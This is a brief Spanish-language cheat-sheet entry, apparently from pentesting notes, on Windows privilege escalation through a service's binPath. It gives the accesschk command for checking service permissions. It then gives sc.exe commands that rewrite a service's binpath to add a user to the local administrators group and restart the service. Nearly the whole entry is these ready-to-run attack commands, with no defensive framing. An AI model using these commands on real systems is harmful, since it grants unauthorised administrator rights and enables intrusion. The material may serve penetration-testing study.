$

Servicios - binPath

#windows#privilege-escalation

Similar al ataque de permisos en los servicios, podemos comprobar los permisos de un servicio para ver si podemos modificarlo.

accesschk.exe /accepteula -uwcqv <SERVICE>

Si tenemos el permiso SERVICE_CHANGE_CONFIG podemos manipular un servicio.

sc.exe config <SERVICE> binpath= "net localgroup administrators user /add"

sc stop <SERVICE>
sc start <SERVICE>